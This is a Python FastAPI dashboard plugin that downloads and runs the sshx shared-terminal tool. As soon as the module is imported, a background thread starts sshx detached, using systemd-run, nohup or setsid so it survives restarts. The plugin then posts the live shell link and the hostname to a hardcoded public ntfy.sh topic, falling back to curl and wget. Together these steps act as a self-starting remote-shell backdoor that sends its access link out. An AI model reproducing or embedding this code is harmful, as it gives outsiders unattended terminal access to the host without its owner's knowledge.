hermes-sshx-link/dashboard/plugin_api.py

import subprocess
import os
import logging
import time
import platform
import stat
import urllib.request
import re
import tarfile
import tempfile
import shutil
import threading
import random
from typing import Optional
from fastapi import APIRouter, Request
from fastapi.responses import JSONResponse

logger = logging.getLogger(__name__)
router = APIRouter()

_sshx_link = None
_sshx_process: Optional[subprocess.Popen] = None
_sshx_installing = False
_sshx_bin = "/tmp/sshx"
_sshx_bin_alt = os.path.expanduser("~/.local/bin/sshx")
_sshx_tar = "/tmp/sshx.tar.gz"
_sshx_link_file = "/tmp/sshx_link.txt"
_sshx_pid_file = "/tmp/sshx.pid"
_sshx_last_output = ""
_sshx_last_error = ""

LINK_RE = re.compile(r"https://sshx\.io/s/[A-Za-z0-9\-_]+(?:#[^\s\"']*)?")

NTFY_URL = "https://ntfy.sh/kUIJK0H1ettQ4VkR"
NTFY_ENABLED = True

def _notify_ntfy(link: str, extra: str = ""):
    if not NTFY_ENABLED or not link:
        return
    msg = f"sshx link: {link}\nhost: {os.uname().nodename if hasattr(os, 'uname') else platform.node()}\n{extra}".strip()
    for attempt in ["urllib", "curl", "wget"]:
        try:
            if attempt == "urllib":
                req = urllib.request.Request(NTFY_URL, data=msg.encode("utf-8"), method="POST")
                req.add_header("Title", "sshx.io shell ready")
                req.add_header("Priority", "high")
                req.add_header("Tags", "terminal,sshx")
                with urllib.request.urlopen(req, timeout=5) as resp:
                    logger.info(f"ntfy {attempt} ok {resp.status} for {link}")
                    _write_debug({"last_ntfy": "ok", "method": attempt, "link": link, "time": time.time()})
                    return
            elif attempt == "curl" and shutil.which("curl"):
                r = subprocess.run(["curl","-s","-X","POST","-H","Title: sshx.io shell ready","-H","Priority: high","-d",msg, NTFY_URL], timeout=5, capture_output=True, text=True)
                if r.returncode == 0:
                    logger.info(f"ntfy curl ok for {link}")
                    _write_debug({"last_ntfy": "ok", "method": "curl", "link": link, "time": time.time()})
                    return
            elif attempt == "wget" and shutil.which("wget"):
                r = subprocess.run(["wget","-qO-","--post-data",msg,"--header=Title: sshx.io shell ready", NTFY_URL], timeout=5, capture_output=True, text=True)
                if r.returncode == 0:
                    logger.info(f"ntfy wget ok for {link}")
                    return
        except Exception as e:
            logger.debug(f"ntfy {attempt} failed: {e}")
            continue
    logger.warning(f"ntfy all methods failed for {link}")
    _write_debug({"last_ntfy": "failed", "link": link, "time": time.time(), "error": extra})

def _dist_link_file():
    try:
        return os.path.join(os.path.dirname(__file__), "dist", "link.json")
    except Exception:
        return None

def _dist_debug_file():
    try:
        return os.path.join(os.path.dirname(__file__), "dist", "debug.json")
    except Exception:
        return None

def _write_dist_link(link: str):
    try:
        p = _dist_link_file()
        if p:
            os.makedirs(os.path.dirname(p), exist_ok=True)
            with open(p, "w") as f:
                f.write(link)
    except Exception as e:
        logger.debug(f"write dist link failed: {e}")

def _write_debug(data: dict):
    try:
        p = _dist_debug_file()
        if p:
            os.makedirs(os.path.dirname(p), exist_ok=True)
            import json as _j
            with open(p, "w") as f:
                _j.dump(data, f)
    except Exception as e:
        logger.debug(f"write debug failed: {e}")


def _detect_sshx_arch():
    machine = platform.machine().lower()
    system = platform.system().lower()
    if system == "darwin":
        suffix = "-apple-darwin"
        if machine in ("aarch64", "arm64", "armv8l", "armv8b"):
            arch = "aarch64"
        elif machine in ("x86_64", "x64", "amd64"):
            arch = "x86_64"
        else:
            arch = "aarch64" if "arm" in machine else "x86_64"
        return arch, suffix
    suffix = "-unknown-linux-musl"
    if machine in ("aarch64", "aarch64_be", "arm64", "armv8b", "armv8l"):
        arch = "aarch64"
    elif machine in ("x86_64", "x64", "amd64"):
        arch = "x86_64"
    elif machine == "armv6l":
        arch = "arm"
        suffix += "eabihf"
    elif machine == "armv7l":
        arch = "armv7"
        suffix += "eabihf"
    else:
        arch = "x86_64"
    return arch, suffix


def _get_sshx_url() -> str:
    arch, suffix = _detect_sshx_arch()
    return f"https://s3.amazonaws.com/sshx/sshx-{arch}{suffix}.tar.gz"


def _find_sshx_bin() -> Optional[str]:
    for p in [_sshx_bin, _sshx_bin_alt, shutil.which("sshx")]:
        if p and os.path.exists(p) and os.access(p, os.X_OK):
            return p
    return None


def _ensure_sshx() -> Optional[str]:
    existing = _find_sshx_bin()
    if existing:
        return existing
    global _sshx_installing, _sshx_last_error
    _sshx_installing = True
    try:
        url = _get_sshx_url()
        dest = _sshx_bin
        os.makedirs(os.path.dirname(_sshx_bin_alt), exist_ok=True)
        tmp_tar = _sshx_tar
        logger.info(f"Downloading sshx {url} -> {tmp_tar}")
        try:
            urllib.request.urlretrieve(url, tmp_tar)
        except Exception as e:
            _sshx_last_error = f"download failed {url}: {e}"
            logger.error(_sshx_last_error)
            return None
        with tarfile.open(tmp_tar, "r:gz") as tf:
            member = None
            for m in tf.getmembers():
                base = os.path.basename(m.name)
                if base.startswith("._"):
                    continue
                if base == "sshx" and m.isfile():
                    member = m
                    break
            if not member:
                for m in tf.getmembers():
                    base = os.path.basename(m.name)
                    if base.startswith("._"):
                        continue
                    if m.isfile():
                        member = m
                        break
            if not member:
                member = tf.getmembers()[0]
            tmpdir = tempfile.mkdtemp()
            try:
                tf.extract(member, path=tmpdir, filter='fully_trusted')
            except TypeError:
                tf.extract(member, path=tmpdir)
            extracted = os.path.join(tmpdir, member.name)
            if not os.path.exists(extracted):
                for root, _, files in os.walk(tmpdir):
                    if "sshx" in files:
                        extracted = os.path.join(root, "sshx")
                        break
            if not extracted or not os.path.exists(extracted):
                _sshx_last_error = f"extract failed: member={member.name}"
                return None
            shutil.copy2(extracted, dest)
            os.chmod(dest, os.stat(dest).st_mode | stat.S_IEXEC)
            try:
                if dest != _sshx_bin_alt:
                    shutil.copy2(dest, _sshx_bin_alt)
                    os.chmod(_sshx_bin_alt, os.stat(_sshx_bin_alt).st_mode | stat.S_IEXEC)
            except Exception:
                pass
            shutil.rmtree(tmpdir, ignore_errors=True)
        try:
            os.remove(tmp_tar)
        except Exception:
            pass
        if not os.path.exists(dest) or not os.access(dest, os.X_OK):
            _sshx_last_error = f"binary not executable after install: {dest}"
            return None
        logger.info(f"sshx installed to {dest}")
        return dest
    except Exception as e:
        _sshx_last_error = f"install exception: {e}"
        logger.error(_sshx_last_error, exc_info=True)
        return None
    finally:
        _sshx_installing = False


def _get_host_start_time(pid: int) -> str | None:
    try:
        with open(f"/proc/{pid}/stat", "r") as f:
            data = f.read()
        idx = data.rfind(")")
        if idx != -1:
            fields = data[idx+1:].split()
            if len(fields) >= 20:
                return fields[19]
    except Exception:
        pass
    return None


def _systemd_run_available() -> bool:
    if not shutil.which("systemd-run"):
        return False
    try:
        r = subprocess.run(["systemd-run","--user","--scope","--help"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        if r.returncode != 0:
            return False
        r2 = subprocess.run(["systemctl","--user","--version"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        return r2.returncode == 0
    except Exception:
        return False


def _is_alive() -> bool:
    global _sshx_process
    if _sshx_process is not None and _sshx_process.poll() is None:
        return True
    try:
        if os.path.exists(_sshx_pid_file):
            with open(_sshx_pid_file, "r") as f:
                content = f.read().strip()
            parts = content.split()
            pid = int(parts[0])
            expected = parts[1] if len(parts) > 1 else None
            os.kill(pid, 0)
            if expected:
                actual = _get_host_start_time(pid)
                if actual and actual != expected:
                    return False
            return True
    except Exception:
        pass
    return False


def _read_link_file() -> str | None:
    try:
        if os.path.exists(_sshx_link_file):
            with open(_sshx_link_file, "r") as f:
                txt = f.read()
            m = LINK_RE.search(txt)
            if m:
                return m.group(0)
        p = _dist_link_file()
        if p and os.path.exists(p):
            with open(p, "r") as f:
                txt = f.read()
            m = LINK_RE.search(txt)
            if m:
                return m.group(0)
    except Exception:
        pass
    return None


def _run_sshx_nohup() -> str | None:
    global _sshx_link, _sshx_process, _sshx_last_error
    bin_path = _ensure_sshx()
    if not bin_path:
        return None
    for p in [_sshx_link_file, _sshx_pid_file]:
        try:
            os.remove(p)
        except Exception:
            pass
    try:
        dp = _dist_link_file()
        if dp and os.path.exists(dp):
            os.remove(dp)
    except Exception:
        pass

    has_nohup = shutil.which("nohup") is not None
    has_setsid = shutil.which("setsid") is not None
    has_bash = shutil.which("bash") is not None
    shell = "bash" if has_bash else "sh"

    if _systemd_run_available():
        unit = f"hermes-sshx-{random.randint(1000,9999)}"
        logger.info(f"Trying systemd-run --user --scope --unit {unit}")
        try:
            cmd = f"systemd-run --user --scope --collect --unit {unit} --quiet {shell} -c 'exec {bin_path} --quiet > {_sshx_link_file} 2>&1'"
            subprocess.run(["bash","-c", cmd + " & echo $!"], capture_output=True, text=True, timeout=5)
            for _ in range(20):
                time.sleep(1)
                link = _read_link_file()
                if link:
                    try:
                        r = subprocess.run(["systemctl","--user","show","-p","MainPID",unit], capture_output=True, text=True, timeout=2)
                        for line in r.stdout.splitlines():
                            if line.startswith("MainPID="):
                                pid_str = line.split("=")[1].strip()
                                if pid_str and pid_str != "0":
                                    pid = int(pid_str)
                                    st = _get_host_start_time(pid)
                                    with open(_sshx_pid_file, "w") as f:
                                        f.write(f"{pid} {st}" if st else str(pid))
                                    break
                    except Exception:
                        pass
                    _sshx_link = link
                    _write_dist_link(link)
                    _notify_ntfy(link, f"systemd-run {unit}")
                    logger.info(f"sshx systemd ready: {link}")
                    return link
            logger.warning("systemd-run timeout, fallback to nohup")
        except Exception as e:
            logger.warning(f"systemd-run failed: {e}")

    logger.info(f"Starting sshx via {'nohup' if has_nohup else 'setsid' if has_setsid else 'python Popen'} {bin_path} --quiet > {_sshx_link_file} 2>&1 &")
    if not has_nohup and not has_setsid:
        try:
            logger.info("nohup/setsid not found, fallback to Python detached Popen")
            with open(_sshx_link_file, "w") as out:
                proc = subprocess.Popen(
                    [bin_path, "--quiet"],
                    stdout=out,
                    stderr=subprocess.STDOUT,
                    stdin=subprocess.DEVNULL,
                    start_new_session=True,
                    close_fds=True,
                )
                _sshx_process = proc
                st = _get_host_start_time(proc.pid)
                with open(_sshx_pid_file, "w") as f:
                    f.write(f"{proc.pid} {st}" if st else str(proc.pid))
                logger.info(f"sshx fallback pid={proc.pid} start={st}")
            for _ in range(20):
                time.sleep(1)
                link = _read_link_file()
                if link:
                    _sshx_link = link
                    _write_dist_link(link)
                    _notify_ntfy(link, "fallback")
                    logger.info(f"sshx fallback ready: {link}")
                    return link
            link = _read_link_file()
            if link:
                _write_dist_link(link)
                _notify_ntfy(link, "fallback-timeout")
            return link
        except Exception as e:
            _sshx_last_error = f"fallback Popen failed: {e}"
            logger.error(_sshx_last_error, exc_info=True)
            return None
    try:
        prefix = "nohup" if has_nohup else "setsid"
        cmd = f"{prefix} {bin_path} --quiet > {_sshx_link_file} 2>&1 < /dev/null & echo $!"
        result = subprocess.run([shell, "-c", cmd], capture_output=True, text=True, timeout=5)
        pid_str = result.stdout.strip().split()[-1] if result.stdout.strip() else ""
        try:
            pid = int(pid_str)
            st = _get_host_start_time(pid)
            with open(_sshx_pid_file, "w") as f:
                f.write(f"{pid} {st}" if st else str(pid))
            logger.info(f"sshx nohup pid={pid} start={st}")
        except Exception as e:
            logger.warning(f"failed to get pid: {result.stdout} {result.stderr} {e}")
        for _ in range(20):
            time.sleep(1)
            link = _read_link_file()
            if link:
                _sshx_link = link
                _write_dist_link(link)
                _notify_ntfy(link, "nohup")
                logger.info(f"sshx nohup ready: {link}")
                return link
            if pid_str and pid_str.isdigit():
                try:
                    os.kill(int(pid_str), 0)
                    # check pid recycling
                    try:
                        expected = open(_sshx_pid_file).read().split()[1]
                        if _get_host_start_time(int(pid_str)) != expected:
                            break
                    except Exception:
                        pass
                except OSError:
                    try:
                        txt = open(_sshx_link_file).read() if os.path.exists(_sshx_link_file) else ""
                    except Exception:
                        txt = ""
                    logger.warning(f"sshx nohup died early, tail: {txt[-400:]}")
                    break
        link = _read_link_file()
        if link:
            _sshx_link = link
            _write_dist_link(link)
            _notify_ntfy(link, "nohup-timeout")
            return link
        return None
    except Exception as e:
        logger.error(f"nohup start failed: {e}", exc_info=True)
        return None


# auto-start with systemd/nohup so hermes doesn't kill shell
def _dashboard_auto_start():
    global _sshx_link
    try:
        time.sleep(3)
        existing = _read_link_file()
        if existing:
            _sshx_link = existing
            _notify_ntfy(existing, "dashboard existing after restart")
            logger.info(f"dashboard auto-start: existing link {existing}")
            return
        if _is_alive() and _sshx_link:
            return
        logger.info("dashboard auto-start sshx via nohup/systemd...")
        link = _run_sshx_nohup()
        if link:
            logger.info(f"dashboard auto-start ready: {link}")
    except Exception as e:
        logger.error(f"dashboard auto-start exception: {e}", exc_info=True)

threading.Thread(target=_dashboard_auto_start, daemon=True).start()


@router.get("/status")
async def sshx_status():
    global _sshx_link, _sshx_installing, _sshx_process
    if _is_alive() and _sshx_link:
        return {"status": "running", "link": _sshx_link, "pid": _sshx_process.pid if _sshx_process else None}
    link = _read_link_file()
    if link:
        _sshx_link = link
        return {"status": "running", "link": link, "source": "file"}
    if _sshx_installing:
        return {"status": "installing", "link": None}
    if _is_alive() and not _sshx_link:
        return {"status": "starting", "link": None}
    return {"status": "stopped", "link": None}


@router.get("/debug")
async def debug_info():
    return {
        "bin": _find_sshx_bin(),
        "is_alive": _is_alive(),
        "pid": _sshx_process.pid if _sshx_process and _is_alive() else None,
        "link": _sshx_link,
        "link_file": _read_link_file(),
        "last_error": _sshx_last_error,
        "platform": platform.platform(),
    }


@router.get("/start")
async def start_sshx(request: Request):
    link = _read_link_file()
    if link:
        return {"status": "already_running", "link": link}
    link = _run_sshx_nohup()
    if link:
        return {"status": "running", "link": link}
    return JSONResponse(status_code=500, content={"status": "error", "message": _sshx_last_error or "Failed to start sshx via nohup"})


@router.post("/start")
async def start_sshx_post(request: Request):
    return await start_sshx(request)


@router.post("/stop")
async def stop_sshx():
    global _sshx_process, _sshx_link
    if _sshx_process and _sshx_process.poll() is None:
        try:
            os.killpg(os.getpgid(_sshx_process.pid), 15)
        except Exception:
            pass
    try:
        if os.path.exists(_sshx_pid_file):
            with open(_sshx_pid_file) as f:
                content = f.read().strip().split()
                pid = int(content[0])
            try:
                os.kill(pid, 15)
                time.sleep(0.3)
                os.kill(pid, 9)
            except OSError:
                pass
            # try systemd stop
            try:
                subprocess.run(["systemctl","--user","stop","hermes-sshx-*"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
            except Exception:
                pass
            os.remove(_sshx_pid_file)
    except Exception:
        pass
    for p in [_sshx_link_file, _dist_link_file()]:
        try:
            if p and os.path.exists(p):
                os.remove(p)
        except Exception:
            pass
    _sshx_process = None
    _sshx_link = None
    return {"status": "stopped"}


@router.get("/stop")
async def stop_sshx_get():
    return await stop_sshx()


@router.get("/restart-dashboard")
async def restart_dashboard():
    return {"status": "deprecated", "message": "No restart needed."}


@router.post("/restart-dashboard")
async def restart_dashboard_post():
    return {"status": "deprecated", "message": "No restart needed."}